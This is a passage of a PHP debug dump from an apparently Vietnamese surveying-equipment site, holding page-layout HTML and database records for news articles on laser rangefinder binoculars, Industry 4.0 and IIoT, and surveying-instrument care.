[maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ 